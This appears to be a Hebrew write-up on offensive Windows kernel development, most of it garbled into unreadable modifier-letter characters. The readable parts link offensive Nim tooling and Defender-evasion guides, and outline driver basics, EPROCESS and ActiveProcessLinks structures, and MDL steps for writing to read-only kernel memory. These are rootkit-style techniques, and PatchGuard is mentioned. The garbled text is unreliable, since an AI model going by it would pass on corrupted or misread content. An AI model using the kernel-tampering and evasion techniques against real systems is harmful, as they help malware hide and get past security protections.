˧ˮˣˮˠˮˬ ˧ˣˢ˧ˤ. 

¶ NimGetSyscallStub π ˢ˧˶˲˯ ˸˶˧˴˧˪ ˸ˣ˞˧˶˵ ˸˩˶˰ˬ ˭˲ˣ˞˟ ˧ˬˮ˧ˡ ˢˣˣ˯ˣˬˣ. 

https://github.com/status-im/nimbus-eth2
https://github.com/S3cur3Th1sSh1t/NimGetSyscallStub
https://github.com/S3cur3Th1sSh1t/NimGetSyscallStub
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¶ Nimcrypt2 π ˧˪˩ ˢˮ˲˴ˢ˪ ˢ˞ˣˣ˯ˢˣ ˪˷ ˫˧˴˟˵ ˧ˡ˩ ˱ˣ˵˰˪ ˸ˣ˩˶˰ˬ ˢˮˠˢ.  

˱˯ˣˮ˟ ˫˧˩˧˷ˬˬ ˫˯˶˲˸ˢ˪ ˫˧˦˵˧ˣ˶˲ ˫˧˷ˡ˥ ˣˬ˩Υ 

¶ Nimperiments π ˦˵˧ˣ˶˲ ˪˪ˣ˩ˢ ˫˧˪˩ xπPoCs ˸˲˷˟Nim  ˸ˣ˲˵˸ˢ˪ ˸ˣˮˣ˷. 

˫˧˦˵˧ˣ˶˲ ˣ˪˞ ˫˧ˬ˧ˠˡˬ ˸˞ ˸ˣ˪ˣ˩˧ˢ ˪˷ ˸˲˷ Nim ˥ˣ˸˧˲˪ ˫˧˪˩ ˫˧˧˲˵˸ˢ ˫˧˪˧˰˧Φ 

 

˸ˣ˶ˣ˵ˬ 

¶ https://medium.com/@freegames16/evading-windows-defender-with-nim-56007c0372ff - 

Evading Windows Defender with Nim 

¶ https://s3cur3th1ssh1t.github.io/Playing-with-OffensiveNim/ - Bypassing Windows 

protection mechanisms & Playing with OffensiveNim 

¶  https://www.youtube.com/watch?v=1l9169qW2FA&ab_channel=DanielLowrie - The 

SECRET of NIM! - Creating RED TEAM TOOLS with Nim-Lang 

¶ https://trustfoundry.net/2021/03/01/writing-basic-offensive-tooling-in-nim/ - Writing Basic 

Offensive Tooling in Nim 

¶ https://www.proofpoint.com/us/blog/threat-insight/nimzaloader-ta800s-new-initial-access-

malware  

¶ https://www.youtube.com/watch?v=QWZJL1Ei_Qg&ab_channel=Flangvik - Checking out 

NimPlant 

¶ https://www.youtube.com/watch?v=FBuTX6brrsA&ab_channel=Prelude - Malware Dev with 

Nim: A Case Study in NimPlant 

 
  

https://github.com/RePRGM/Nimperiments
https://github.com/RePRGM/Nimperiments
https://medium.com/@freegames16/evading-windows-defender-with-nim-56007c0372ff
https://s3cur3th1ssh1t.github.io/Playing-with-OffensiveNim/
https://www.youtube.com/watch?v=1l9169qW2FA&ab_channel=DanielLowrie
https://trustfoundry.net/2021/03/01/writing-basic-offensive-tooling-in-nim/
https://www.proofpoint.com/us/blog/threat-insight/nimzaloader-ta800s-new-initial-access-malware
https://www.proofpoint.com/us/blog/threat-insight/nimzaloader-ta800s-new-initial-access-malware
https://www.youtube.com/watch?v=QWZJL1Ei_Qg&ab_channel=Flangvik
https://www.youtube.com/watch?v=FBuTX6brrsA&ab_channel=Prelude
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Windows Kernel ˧˲˵˸ˢ ˦˟ˬˬ 

 ˸˞ˬ˧˷ ˸˪˧ˠ 

 

ˢˬˡ˵ˢ 

˫˧ˮ˷˟ ˸ˣˮˣ˶˥˞ˢ ˸ˣ˧˶˞˪ˣ˲ˣ˲ˢ ˪˷ ˧˲ˮ˰ ˸˯ˡˮˢ ˢˮ˩ˣ˸ˢ ˧˰ˡˬˣ ˟˷˥ˬˢ ˫˧ˮˣ˷ˢ ˢ˸˪˰ ˢ˶ˣ˴˟ ˢˡ˥ Σ˟ˣ˶˪ˣ 

˫˧˲ˮ˰ˢ ˶˟˩ ˸ˬ˧˧˵ ˢ˧˴˦ˮˬˣ˵ˣˡ ˢ˵˧ˬ˰ˬ Σ˫˰ ˸ˣ˴ˣ˟˵ ˪˷ ˫˧˷ˮ˞ ˫˧˯ˣˮˬ ˫˧ˮ˩ˣˬ˷ ˡˬ˪˪ ˫˧˶˥˞ ˞˧˟ˢ˪ˣ 

˸˶ˠ˯ˬ ˢ˥ˣˮ ˢˡ˧ˬ˪˪ Σ˨˞ ˞˪ ˪˩ ˫˧ˬˣ˥˸ˢ ˫˧˞˶ˮ ˨˩ Φ 

˫ˣ˥˸ ˥ˣ˸˧˲ˢ ˶˵˥ˬˢˣ ˧˪ˮ˶˵ˢ ˟πWindows ˞ˣˢ ˡ˥˞ ˫ˢˬ ˸ˣ˟˧˯ˬ ˸ˣ˧ˮˣ˧ˠˢ Υ˸˩˶˰ˬ ˢ˪˰˲ˢˢ ˢ˶ˣˠ˯ˢ 

ˢ˧ˣ˟˥ˢˣ ˫˧˥˸˲ˬˢˬ Σ˧˷ˣ˵ˢ ˸˞˧˴ˬ˟ ˫˧ˡˣ˰˧˸ ˫˧ˬ˧˞˸ˬ ˸ˣ˟˩˶ˣˬˢˣ ˪˷ ˸ˣ˪˧˰˲ ˸˧˪˞ˬ˶ˣˮ ˪ˮ˶˵˟ Φ 

˶ˬ˞ˬ˟ ˢˤ ˧ˮ˞ ˨˪ˣˢ ˥˸ˮ˪ ˫˧ˮˣˮˠˮˬ ˧ˮ˟ˬˣ ˫˧ˮˣ˸ˮ ˫˧ˮˣ˷ ˪ˮ˶˵˟ ˢ˶ˣ˴˟ ˢˬ˧˞˸ˬ˷ ˫ˠ ˫˧˷ˮ˞˪ ˵˶˷ ˫˧˯ˮ˩ˮ 

˫ˣ˥˸˪ Σ˶˥˞˪ˣ ˭˩ˬ ˧ˮ˞ ˠ˧˴˞ ˫˧˷ˣˬ˧˷ ˫˧˧˦˵˶˲ ˫˧˪ˣ˩˧˷ ˸ˣ˧ˢ˪ ˸ˣ˧ˠˣ˪ˣˮ˩˦˪ ˣ˪˞ˢ ˶ˣ˟˰ ˱˵ˣ˸ ˢ˴ˣ˶˷ ˪˴ˮ˪ 

ˢ˰˶˪ ˸˞ ˸˩˶˰ˬˢ x˞ ˠ˧˷ˢ˪ ˢ˶˦ˬ ˸˧ˮˣˡˤ ˧ˢ˷˪˩ Φ˨˞ ˧ˮ˲˪ ˧ˮ˞˷ ˪˧˥˸ˬ ˸˞ ˶ˬ˞ˬˢ Σ˷˧ ˢˬ˩ ˫˧˶˟ˡ 

˫˧˟ˣ˷˥ ˨˧˶˴˷ ˭˧˧˴˪Υ 

¶ ˶ˬ˞ˬ˟ ˢˤ ˧ˮ˞ ˞˪ ˯˥˧˧˸˞ ˸ˣˮˠˢ˪ ˸ˣˮˣ˷ˢ ˪˰ sπWindows Kernel Σ˞ˬˠˣˡ˪ ΥPatchGuard x˞ 

HyperGuard Φ˭˸˧ˮ ˟ˣ˸˩˪ ˪˰ ˸ˣˮˠˢ ˣ˪˞ ˶ˬ˞ˬ ˧ˮ˲˟ ˣˬ˴˰ ˭˩˪ˣ ˧ˮ˞ ˞˪ ˯ˮ˩˞ ˢ˧˪˞Φ˭ 
 

¶ ˸ˣ˶ˬ˪ ˭˧˞˷ ˨˶ˣ˴ ˧˸ˣ˰ˬ˷ˬ ˰ˡ˧˪ ˫˧ˡ˵ˬ ˶ˣ˟˰ ˸˞˧˶˵ ˶ˬ˞ˬˢ Σ˶ˣˤ˰˧ ˡˣ˞ˬ ˭˧˟ˢ˪ ˨˧˞ ˫˧ˠ˷ˣˬ ˫˧ˮˣ˷ 

˞˷ˣˮ˟ ˸ˣ˩˶˰ˬ ˢ˪˰˲ˢˢ ˫˧˪˰ˣ˲ Σ˭ˣˠ˩ Drivers ΣKernel Mode/User ModeΣProtection Rings  ˣ˩ˣôΦ 
 

¶ ˷˧ ˫˧ˮ˟ˬ ˸ˣ˧ˠˣ˪ˣˮ˩˦ˣ ˧ˮ˞˷ ˶˧˩ˤ˞ ˶ˬ˞ˬ˟ ˨˞ ˞˪ ˵ˬ˰˸˞ ˫ˢ˟ ˢ˶ˣ˴˟ ˸˧˸ˣ˰ˬ˷ˬ Σ˭˩˪ ˧ˮ˞ ˶˧˞˷˞ 

ύˢ˦ˬ˪ ό˫˧˶ˣ˷˧˵ ˫˧˶ˬ˞ˬ˪ ˸ˣ˶ˣ˵ˬˣ ˫˧˧˸ˣ˩˧˞ ˫˧˪ˣ˩˧˷ ˶ˣˤ˰˪ ˭˧˟ˢ˪ ˸˞ ˫˧ˠ˷ˣˬˢ ˣ˪˞ˢ ˢ˶ˣ˴˟ ˢ˟ˣ˦Φ 

 

¶ ˵˪˥ ˫˧ˮ˟ˬˢˬ ˸ˣ˧ˠˣ˪ˣˮ˩˦ˢˣ ˸ˣ˧ˣ˪˸ ˯˶ˠ sΣ˶ˬ˞ˬ˟ ˢˤ ˯˥˧˧˸˞ ˪πWindows10 21/22h2 сп ˦˧˟. 
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˨˶ˡ ˸ˣ˪˧˰˲ ˶˟˧˧˶ˡˢ 

˧ˮ˲˪ ˢ˯˧ˮ˩ˢ ˪ˮ˶˵˪ ˣˬ˴˰ ˧ˮ˞ ˶ˣ˟˰˞ ˢ˶˴˵˟ ˪˰ ˸˶ˣ˴ ˸ˣ˪˧˰˲ˢ ˪˷ ˶˟˧˧˶ˡ ˪-Windows Φ˶˟˧˧˶ˡ ˞ˣˢ ˫˴˰˟ 

˳˟ˣ˵ ˢ˴˶ˢ ˦ˬ˶ˣ˲ˬ PE ˫˞˸ˣˬ˷ ˳ˣ˶˪ ˵˪˥˩ ˪ˮ˶˵ˢˬ Φˢ˶ˣ˴˟ ˢˬˣˡ ˳˟ˣ˵˪ exe Σ˶˟˧˧˶ˡ˪ ˷˧ ˫˧ˮ˧˧˲˞ˬ 

˫˧˰ˣˡ˧ ˷˞˶ˬ ˣˬ˩ sentry point- ˣ˪˷ ύ˞˶˵ˮ ˨˶ˡ˟ ˪˪˩ DriverEntry ό˸ˣ˧˶˲˯ˢˣ ˸ˣ˶˷ˣ˵ˬˢ ˣ˧˪˞Φ  

πsextension ˸˶˧˶˟ ˪ˡ˥ˬˢ ˪˷ ˳˟ˣ˵ ˶˟˧˧˶ˡ ˞˧ˢ sys Σˣˬ˩ˣ ˸ˮ˩ˣ˸ exe ˷˧ x˪ ˫ˠ ˳˟ˣ˵ pdb ˫˧˞˸ˬ ˪˪ˣ˩˷ 

˸˞ sπsymbols ˪˷ ˶˟˧˧˶ˡˢ Φ˰ˣˡ˧˩ ˧ˬ˪ ˵˯˰˸ˢ˷ ˫˰ ˫˧˶˟˧˧˶ˡ ˟πWindows Σ˸˪ˣ˰˲ s-DriverEntry 

˸˞˶˵ˮ˷ ˶˥˞˪ ˸ˮ˰˦ˢ ˶˟˧˧˶ˡˢ ˭ˣ˶˩ˤ˪ ˸˞˶ˮ ˨˩Υ 

extern "C" NTSTATUS DriverEntry (_In_ PDRIVER_OBJECT DriverObject,  
    _In_ PUNICODE_STRING RegistryPath) {  
 
    // DriverEntry content is here  
    return STATUS_SUCCESS; 
}  

˫˧ˮ˧˧˲˞ˬ ˪˷ ˢ˪ˣ˰˲ˢΥ 

¶ ˨˶˰ˢ ˶ˤ˥ˣˬˢ ˢ˪ˣ˰˲ˢˬ ˞ˣˢ ˯ˣ˲˧˦ˬ NTSTATUS Σ˯ˣ˲˧˦ ˢˤ ˞ˣˢ ˦ˣ˷˲ typedef ˪˷ DWORD ˪˩ˣ 

˫˧˩˶˰ˢ ˫˧˧˶˷˲˞ˢ ˣ˪˷ Σ˭ˣˠ˩ STATUS_SUCCESS ύˢ˪ˣ˰˲ˢ ˢ˥˧˪˴ˢ Σό˫ˢ macroπ˫˧ ˫˧˶ˡˠˣˬ˷ ˧˴˟˵˟ 

πsheader ˪˷ Windows 

¶ ˶˦ˬ˶˲ˢ ˭ˣ˷˞˶ˢ ˪˷ ˢ˪ˣ˰˲ˢ ˞ˣˢ ˦˵˧˧˟ˣ˞ˢ ˠ˴˧˧ˬ˷ ˸˞ ˶˟˧˧˶ˡˢ ˣˮ˪˷ ˸˩˶˰ˬ˟ ˢ˪˰˲ˢˢ Φ˶˷˲˞ 

˟ˣ˷˥˪ ˪˰ ˦˵˧˧˟ˣ˞ˢ ˢˤˢ ˣˬ˩ ˱ˡ ˰ˡ˧ˬ ˪˰ ˶˟˧˧˶ˡˢ Φπsstruct ˞˪ˬˢ ˞˴ˬˮ ˭˞˩Υ 

 

 ,˶˟˧˧˶ˡˢ ˪˷ ˸ˣ˟ˣ˷˥ ˸ˣ˶ˡˠˢ ˢˤ ˢˮ˟ˬ˟ ˸ˣ˞˶˪ ˭˸˧ˮ ˸˷˵˟ ˧˲˪ ˸ˣ˷˰˪ ˭˩ˣˬ ˶˟˧˧˶ˡˢ˷ ˸ˣ˪ˣ˰˲ˢ ˭ˣˠ˩

) ˞˶ˣ˵MajorFunction table ˶˟˧˧˶ˡˢ ˯˧˯˟ ,˶˟˧˧˶ˡˢ ˫˷ ,(˶˸ˣ˧ ˶˥ˣ˞ˬ ˢ˵˧ˬ˰ˬ ˢ˶ˣ˴˟ ˣ˧˪˞ ˯ˮ˩˞ ,
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ˢ ˪ˡˣˠˣ ˭ˣ˶˩ˤ˟-image  ˸˪ˣ˰˲ˣ ,˶˟˧˧˶ˡˢ ˪˷πsunload  ˢ˷˵˟ ˸˥˪˷ˮ˷ ˰ˠ˶˟ ˸˞˶˵ˮ˷ ˶˟˧˧˶ˡˢ ˪˷

ˣ˩ˣ ˫˧˦˵˧˧˟ˣ˞ ˶ˣ˶˥˷ ,˭ˣ˶˩ˤ ˸ˣ˩˧˶˟ ˧ˣ˵˧ˮ˪ ˸˷ˬ˷ˬ ˪˪˩ ˨˶ˡ˟) ˭ˣ˶˩ˤˢˬ ˶˟˧˧˶ˡˢ ˸˞ ˞˧˴ˣˢ˪(ô: 

¶ ˶˦ˬ˶˲ˢ ˧ˮ˷ˢ ˪˷ ˢ˪ˣ˰˲ˢ ˞ˣˢ ˪ˣ˪˯ˬˢ ˟πregistry ˥˸˲ˬ˪ ˪˷ ˶˟˧˧˶ˡˢ. ˣˬ˩ ˪˩ service ˸˩˶˰ˬ˟ Σ

˫ˠ ˶˟˧˧˶ˡ ˭˰˦ˣˬ ˪˰ ˧ˡ˧ sπservice manager ˪˷ Windows ˧˲˪ ˰ˡ˧ˬˢ ˰˧˲ˣˬ˷ ˣ˧˪˰ ˟πregistry Φ

˪ˣ˪˯ˬˢ ˢˤˢ ˪˧˟ˣ˧ ˥˸˲ˬ˪ ˪˷ ˣ˸ˣ˞ ˶˟˧˧˶ˡ ˧˶˦˯˧ˠ˶˟ Σˢ˞˶˧˷ ˨˶ˡ˟ ˪˪˩ ˨˩ Υ 

\Registry\Machine\System\CurrentControlSet\Services\DriverServiceName 

 

 

˫˧ˮ˟ˬ ύstructs ό˫˧˟ˣ˷˥ ˪ˮ˶˵˟ 

˷˧ ˢˬ˩ ˫˧ˮ˟ˬ ˫˧˧˦˧˶˵ ˪ˮ˶˵˟ ˫ˢ˧ˡ˰˪˟˷ ˸˩˶˰ˬˢ ˞˪ ˢ˪ˣ˩˧ ˪ˣ˰˲˪ ˢ˶ˣ˴˟ ˸˧˪˞ˬ˶ˣˮ Σˢˮ˟ˢˣ ˫ˢ˪˷ ˢ˪ˣ˩˧ 

˶ˣˤ˰˪ ˥˸˲˪ ˶ˣ˵˥˪ˣ ˸˞ ˪ˮ˶˵ˢ ˢ˶ˣ˴˟ ˶˸ˣ˧ ˢ˟ˣ˦ Σ˶˵˧˰˟ ˫˧˯ˮˬ˷ ˥˸˲˪ ˪˩ ˠˣ˯ ˪˷ ˢ˵ˤˣˮ ˸˧˪ˮ˶˵Φ 

LIST_ENTRY  

ˢˮ˟ˬ ˢˤ ˷ˬˣ˷ˬ ˸ˣˬ˩˟ ˢ˪ˣˡˠ ˸ˣˬ˧˷˶ˢˬ ˸ˣ˧ˬ˧ˮ˲ˢ ˪˷ ˪ˮ˶˵ˢ Φ˫˧˩˶˰ˢ ˟πstruct ˫˧˦ˣ˷˲ ˡˣ˞ˬ π ˰˧˟˴ˬ 

ˡ˥˞ ˪- LIST_ENTRY ˠ˴˧˧ˬ˷ node ˫ˡˣ˵ ˰˧˟˴ˬˣ ˧ˮ˷ ˪- LIST_ENTRY ˠ˴˧˧ˬ˷ node ˞˟ˢ ˶ˣ˸˟Υ 

typedef struct _LIST_ENTRY { 
    struct _LIST_ENTRY *Flink;  
    struct _LIST_ENTRY *Blink;  
} LIST_ENTRY, *PLIST_ENTRY, PRLIST_ENTRY;  

˵˪˥˩ ˢˮ˟ˬˢˬ ˞˟ˢ ˧ˮ˞ ˠ˧˴˞ ˨˧˞ LIST_ENTRY ˰˧˲ˣˬ ˵˪˥˩ ˫˧ˮ˟ˬˬ ˧ˡ˩ ˶˷˵˪ ˭˧˟ instances ˢ˶ˣ˴˟ ˪˷ 

double linked list Σ˨˞ ˪˰ˣ˲˟ ˷˧ attribute ˫˧ˣ˯ˬ ˢˮ˟ˬ˟ ˪ˣˡˠˢ ˶˸ˣ˧ ˯ˣ˲˧˦ˬ LIST_ENTRY Φ˨˩ ˧ˡ˩ ˰˧ˠˢ˪ 

ˢˮ˟ˬ˪ ˪ˣˡˠˢ ˶˸ˣ˧ ˢˬ˧˷˶ˢˬ ˨˶˦˴ˮ ˸˰ˡ˪ ˸˞ sπoffset ˪˷ ˣ˸ˣ˞ attribute ˸˪˥˸ˢˬ ˢˮ˟ˬˢΦ 

ˣˢ˷ˬ ˟ˣ˷˥˷ ˶ˣ˩ˤ˪ ˪˰ ˸ˣˬ˧˷˶ ˸ˣ˯˯ˣ˟ˬ˷ ˪˰ ˢˮ˟ˬˢ ˢˤˢ Υ˨˶ˡ˟ ˪˪˩ Σ˰˧˟˴ˬˢ ˦˵˧˧˟ˣ˞˪ ˞˟ˢ ˪˷ 

˦˵˧˧˟ˣ˞ˢ ˭ˣ˶˥˞ˢ ˢ˧ˢ˧ ˢ˶ˤ˥ ˦˵˧˧˟ˣ˞˪ ˭ˣ˷˞˶ˢ ˤ˞ ˨˧˶˴ ˸ˣ˲˴˪ ˨˩˪ x˞ ˶˴ˣˣ˸˷ ˢ˞˪ˣ˪ ˭˧˞ ˸˧˲ˣ˯ ˣ˲ˣ˯˟ˣ ˪˷ 

˶˟ˡ BSoDΦ 

 

EPROCESSκETHREAD 

˪ˮ˶˵˟ ˪˷ Windows ˷˧ ˷ˣˬ˧˷ ˟πstructs ˣ˪˞ˢ ˧ˡ˩ ˠ˴˧˧˪ ˸˞ ˫˧˩˧˪ˢ˸ˢ ˫˧ˮˣ˩˧˪ˢ˸ˢˣ ˫˧ˬ˧˧˵ˢ ˸˩˶˰ˬ˟ Φ

˭˸˧ˮ ˞ˣ˴ˬ˪ ˡˣ˰˧˸ ˪˷ ˢˮ˟ˬˢ ˞˪ˬˢ ˸˶ˤ˰˟ ˫˧˦˵˧ˣ˶˲ ˣˬ˩ vergilius Σ reactOSˣ˞ ˣ˪˧˲˞ ˫˰ WinDBG Φ 
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˸ˮˬ ˪˰ ˨ˣ˯˥˪ ˭ˬˤ ˧˸˷ˬ˸˷ˢ ˟πWinDBG ˧ˡ˩ ˶ˣ˴˧˪ ˵˸˰ˢ ˧˪˷ˬ ˢ˞˶ˮ˷ ˨˩ ύˢ˞˶˞ ˵˶ ˸˞ ˵˪˥ˢ ˭ˣ˷˞˶ˢ 

ˣ˪˷ ˪˪ˠ˟ ˞ˣˢ˷ ˢˮ˟ˬ ˪ˣˡˠ ˡˣ˞ˬΥό 

 

˭˟ˣˬ˩ ˢˮ˟ˬ˷ ˢˤ ˧˲˧˴˲˯ ˸˯˶ˠ˪ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ ˢ˸ˣ˞˷ ˧˸ˠ˟˧ˡ ύˢ˶˵ˬ˟ ˢˤ Υ21/22h2 Σό˨˞ ˫˧ˮ˧˧˲˞ˬˢ 

˫˧˟ˣ˷˥ˢ ˪˷ ˨˧˪ˢ˸ˢ ˪˷ˣ ˢˬ˧˷˶ˢ ˢ˪ˣ˩ Σ˭ˣˠ˩ UniqueProcessId/ActiveProcessLinks Σ˫˧˶˞˷ˮ ˫˧˰ˣ˟˵ 

˨˶ˣ˞˪ ˪˩ ˸ˣ˞˯˶ˠˢ Φˡˣ˰ ˨˶˰ ˧ˤ˩˶ˬ ˢˮ˟ˬ˟ ˶˞˷ˮ˷ ˰ˣ˟˵ ˭˧˟ ˸ˣ˞˯˶ˠˢ ˞ˣˢ pcb π process control block Σ

ˢˤ ˡˣ˰ ˢˮ˟ˬ ˪ˣˡˠ ˧ˮ˲˟ ˣˬ˴˰ ˯ˣ˲˧˦ˬ KPROCESS ύ˫ˠ sπETHREAD ˧ˣˮ˟ 

ˢ˶ˣ˴˟ ˣˤ˩ Φόˢˮ˟ˬ ˢˤ ˪˧˩ˬ ˡˣ˰ ˧˩˶˰ ˯˧˯˟ ˫˧ˮ˧˧˲˞ˬ˷ ˸˞ ˨˧˪ˢ˸ˢ ˨˩ˣ 

˞ˣˢ ˢ˞˶ˮΥ 

˫˧˩˶˰ ˫˧˟ˣ˷˥Υ 

¶ ThreadListHead Υ˸ˬ˧˷˶ sπthreads ˫˧˴˶˷ ˵˪˥˩ ˨˧˪ˢ˸ˢˬ  

¶ ContextSwitch Υ˸ˣˬ˩ sπcontext switches ˨˧˪ˢ˸ˢ˷ ˰˴˧˟ 

¶ KernelTime Υ˭ˬˤ ˢ˴˧˶ˢ ˪˷ ˨˧˪ˢ˸ˢ ˟πKernel Mode ύ˨˶ˡ  

 ˸ˣ˞˧˶˵ ˸ˣˡ˥ˣ˧ˬ ˪˷ ˨˧˪ˢ˸ˢό 

¶ UserTime Υ˭ˬˤ ˢ˴˧˶ˢ ˪˷ ˨˧˪ˢ˸ˢ ˟πUser Mode 
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πsETHREAD ˧ˣˮ˟ ˢ˶ˣ˴˟ ˢˬˣˡ ˡˣ˞ˬ ˪πEPROCESS ˭˩˪ˣ ˞˪ ˵˧ˬ˰˞ ˫˧˶˟˯ˢ˟ ˫˧˥ˣ˸˧ˮˣ ˪˷ ˢˮ˟ˬˢ Φ˫ˠ sπ

EHTREAD ˪˧˥˸ˬ ˢˮ˟ˬ˟ KTHREAD ˶˧ˡˠˬ˷ ˡˣ˰ ˸ˣˮˣ˩˸ ˭ˣ˧˲˞ ˪˷ ˭ˣ˩˧˪ˢ˸ˢ Σ˫ˠ x˪ ˷˧ ˶ˣ˷˧˵ ˢˬ˧˷˶˪ ˪˷ 

˫˧˩˧˪ˢ˸ˢ ˯ˣ˲˧˦ˬ LIST_ENTRY ˫ˠˣ x˪ ˷˧ ˫˧ˮ˧˧˲˞ˬ ˫˧˲˯ˣˮ ˣˬ˩ ˭ˬˤ ˢ˶˧˴˧Φ 

ˡˣ˰ ˣˢ˷ˬ ˟ˣ˷˥˷ ˭˧˧˴˪ Υ˨˧˪ˢ˸ˢ ˭ˣ˷˞˶ˢ ˢˬ˧˷˶˟ ύPID=0 ό˞˴ˣ˧ˬ ˪˰ ˧ˡ˧ ˪ˮ˶˵ˢ Σ˨˩ ˶˟˰ˬ˷ ˪˰ ˢˬ˧˷˶ˢ 

ˢ˦ˣ˷˲ ˡˣ˞ˬ Φˢˮ˸˷ˬˢ ˯˪˩ˣ˞ˬ˷ ˫˰ ˰˧˟˴ˬˢ ˨˧˪ˢ˸˪ ˭ˣ˷˞˶ˢ ˞˶˵ˮ PsInitialSystemProcess ˞ˣˢˣ ˶ˢ˴ˣˬ 

˳˟ˣ˵˟ ntddk.h ˪˧˩ˬ˷ ˸ˣ˶ˡˠˢ ˸ˣ˲˯ˣˮ ˸ˣ˧˦ˮˣˣ˪˶˷ ˪πKernel ProgrammingΥ 

 

Descriptor Module List (MDL)Υ 

˧˲˪ ˢ˶ˡˠˢˢ ˸˞˴ˬˮ˷ ˟πWindows internals π ϦAn MDL is a structure that represents informationfor 

a buffer in physical memoryϦΦ ˶ˬˣ˪˩ ΥMDL ˡ˰ˣˮ ˶˞˸˪ ˱˴˶ ˸ˣ˟ˣ˸˩ ˭ˣ˶˩˧ˤ˟ ˧ˤ˧˲ˢ Φ˷˧ ˡ˰ˮˬ ˫˧˷ˣˬ˧˷ ˪π

MDL Σ˭˧˟ˣ ˶˸˧ˢ ˭˸˧ˮ ˷ˬ˸˷ˢ˪ x˟ ˢ˟˧˸˩˪ξˢ˞˧˶˵ ˪˰ ˸ˣ˟ˣ˸˩ ˸ˣ˧ˤ˧˲ x˞ ˣ˪˧˲˞ ˢ˟˧˸˩ ˭ˣ˶˩ˤ˪ ˞ˣˢ˷ read-

onlyΦ 

˸˶ˣ˴ ˷ˣˬ˧˷ˢ ˟-MDL ύ˞ˬˠˣˡ˟ xʕ ˧ˮ˞ ˯˥˧˧˸˞ ˢ˟˧˸˩˪ ˶ˣˤ˞˪ ˭ˣ˶˩˧ˤ ˞ˣˢ˷ read-onlyΥό 

мό ˢ˪˧˥˸ Σ˨˧˶˴ ˸ˣ˴˵ˢ˪ ˭ˣ˶˩ˤ ˶ˣ˟˰ s-MDL Σ˧ˡ˩ ˸ˣ˷˰˪ ˸˞ˤ ˷˧ ˢˡˣ˵˲ ˸ˬ˞˸ˣˬ ˨˩˪ ΥIoAllocateMdl Φ

ˢ˪ˣ˰˲ˢ ˸˪˟˵ˬ р ˫˧˦˶ˬ˶˲ Σ˨˞ ˫˧˧ˮ˷ˢ ˫˧ˮˣ˷˞˶ˢ ˧˩ˢ ˫˧˟ˣ˷˥ π sπbase address ˪˷ ˭ˣ˶˩ˤˢ 

˧˪˞ˣ˦˶˧ˣˢ ˫˧˴ˣ˶˷ ˟ˣ˸˩˪ ˣ˧˪˞ ˪ˡˣˠˢˣ ˪˷ ˭ˣ˶˩ˤˢ ˢ˸ˣ˞ˬ ˸˟ˣ˸˩ Φˢ˪ˣ˰˲ xʕ ˢ˴˵ˬ ˭ˣ˶˩ˤ non-paged 

ˢˮ˟ˬ˪ ˨ˣ˸ˬ ˪˪˩ sπPTEπ˫˧ ˪˷ ˸˩˶˰ˬˢ 

 

нό ˧˶˥˞ ˢ˞˴˵ˢˢ ˪˷ ˢˮ˟ˬˢ ˣˬ˴˰ Σ˪˧˟˷˟ ˸ˣ˷˰˪ ˢ˧˴˪ˣ˲˧ˮˬ ˭ˣ˶˩ˤ˪ ˷˧ ˨˶ˣ˴ ˪ˣ˰ˮ˪ ˸˞ ˭ˣ˶˩ˤˢ ˪ˮˢ ˧ˡ˩ 

˞˪˷ ˢ˧ˢ˧ ˭˸˧ˮ ˶˶˥˷˪ ˣ˸ˣ˞ x˞ ˸ˣ˴˵ˢ˪ ˣ˸ˣ˞ ˢ˶˦ˬ˪ ˸˶˥˞ Φˢ˪ˣ˰˲ˢ ˢ˷ˣ˰˷ ˸˞ˤ ˞˧ˢ 

MmProbeAndLockPages Φˢ˪ˣ˰˲ xʕ ˸˪˟˵ˬ ˸˞ sπMDL Σ˸˞ ˦˯˵˦ˮˣ˵ ˢ˷˧ˠˢ ˭ˣ˶˩ˤ˪ ύKernelMode 

ˣ˞ UserMode Σό˸˞ˣ ˠˣ˯ ˢ˧˴˪ˣ˲˧ˮˬˢ ˢ˷ˣ˶ˡˢ ˪˰ ˭ˣ˶˩ˤˢ ύˢˤ ˶˦ˬ˶˲ ˪˧˵˸ˬ Σ˧˩ ˫˞ ˢˤ ˭ˣ˶˩ˤ ˸˩˶˰ˬ 

˶ˣ˯˞˷ ˸ˣˮ˷˪ Σ˵ˣ˲˧˯ ˪˷ IoWriteAccess ˶ˣ˴˧ access violation Σ˭˩˪ˣ ˧˩ˢ ˥ˣ˦˟ ˵˲˯˪ IoReadAccess 

˧˶˥˞ˣ ˢˤ ˸ˣ˲ˬ˪ ˸˞ ˭ˣ˶˩ˤˢ ˸ˣˮ˷˪ˣ ˸˞ ˧ˣ˲˧ˬˢό 

 

оό ˣ˧˷˩˰ ˷˧ ˣˮ˪ ˸˞ ˸ˣ˶˷˲˞ˢ ˸ˣ˷˰˪ ˢ˧˴˪ˣ˲˧ˮˬ ˭ˣ˶˩ˤ˪ ˸˶ˤ˰˟ ˧ˣ˲˧ˬ ˭ˣ˶˩ˤˢ ˫˰ ˸ˣ˞˷˶ˢ ˸ˣˬ˧˞˸ˬ 

ˢ˶˦ˬ˪ ˣˮ˪˷ Σ˸˞ˣ ˢˤ ˢ˷˰ˮ ˸ˣ˰˴ˬ˞˟ ˢ˪ˣ˰˲ˢ MmMapLockedPagesSpecifyCache Σˢ˪ˣ˰˲ xʕ 

˸˪˟˵ˬ ˢˬ˩ ˫˧˶˦ˬ˶˲ ˣˬ˩ sπMDL ˪˷ ˭ˣ˶˩ˤˢ ˧ˣ˲˧ˬ˪ ˦˯˵˦ˮˣ˵ˣ ˢ˷˧ˠˢ ˭ˣ˶˩ˤ˪ ˧˸ˮ˧˧˴˷ ˧ˮ˲˪ ˭˩ Φ˶˥˞˪ 

˧ˣ˲˧ˬˢ ˭˸˧ˮ ˸ˣˮ˷˪ ˸˞ ˠˣ˯ ˢ˷˧ˠˢ ˭˸˧ˮ˷ ˠ˧˷ˢ˪ ˭ˣ˶˩ˤ˪ ˸˶ˤ˰˟ MmProtectMdlSystemAddress 

˸˪˟˵ˬ˷ ˸˞ sπMDL ˸˞ˣ ˭˧˧˲˞ˬ ˢ˷˧ˠˢ ˸˧˶˷˲˞ˢ ˭ˣ˶˩ˤ˪ Σ˭ˣˠ˩ PAGE_READWRITE 

 

пό ˢ˲ˬ ˭˸˧ˮ ˷ˬ˸˷ˢ˪ ˭ˣ˶˩ˤ˟ ˣˬ˩ ˪˩ ˭ˣ˶˩ˤ ˧˪ˮ˶˵ ˪˧ˠ˶ ˢ˧˴˪ˣ˲˧ˮˬ˪ ˶ˣ˟˰ ˸ˣ˶˦ˬ ˸ˣˮˣ˷ Σ˶˥˞˪ˣ ˷ˣˬ˧˷ˢ 

